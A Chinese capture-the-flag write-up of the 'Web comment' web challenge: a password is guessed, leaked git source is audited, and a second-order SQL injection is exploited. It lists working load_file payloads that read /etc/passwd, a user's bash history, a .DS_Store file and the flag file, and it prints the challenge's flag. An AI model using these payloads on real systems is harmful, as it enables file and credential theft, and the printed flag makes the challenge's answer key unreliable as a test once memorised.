攻防世界高手进阶之Web comment

攻防世界高手进阶之Web comment

这题我在网上没找到Writeup,所有花了8金币买的。
这题主要考点
爆破
git泄露
代码审计
SQL注入
攻防世界高手进阶之Web comment_第1张图片
可以看到账号框账号为:zhangwei 密码为zhangwei***
所以需要爆破zhangwei后面的三位数,我当时没想到这点看wp才明白的
user:zhangwei pass:zhangwei666
然后扫描目录的时候发现.git文件然后应该是有git源码泄露,过扫描发现到一个write_do.php文件
攻防世界高手进阶之Web comment_第2张图片
登陆成功后看到可以发帖加上题目提示sql,猜测应该是sql注入
攻防世界高手进阶之Web comment_第3张图片
后面的就是看着wp做的
刚才发现一篇文章讲解的非常不错,也让明白了更多,貌似是下载的write_do.php代码不是很完整这也让明白了一些之前的疑惑


include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

参考:2018网鼎杯 三道web题 记录~~(二次注入)
攻防世界高手进阶之Web comment_第4张图片
这里也解释了为什么后面要在提交留言输入*/#,因为不是单行所以需要多行注释
查询passwd;’,content=(select load_file(’//etc/passwd’)),/*
攻防世界高手进阶之Web comment_第5张图片
提交留言*/#来闭合注入语句
攻防世界高手进阶之Web comment_第6张图片
攻防世界高手进阶之Web comment_第7张图片
读取www用户的/bin/bash_history:’,content=(select load_file(’//home/www/.bash_history’)),/*

查询.DS_Store文件:’,content=(select hex(load_file(’//tmp/html/.DS_Store’))),/*

十六进制文件读取
将得到的16进制字符串转换,得到flag文件路径

读取flag文件:’,content=(select hex(load_file(’//var/www/html/flag_8946e1ff1ee3e40f.php’))),/*
将得到的16进制字符串转换,得到flag## 新的改变
攻防世界高手进阶之Web comment_第8张图片
$flag=“flag{0dd14aae81d94904b3492117e2a3d4df}”;

你可能感兴趣的:(CTF,php)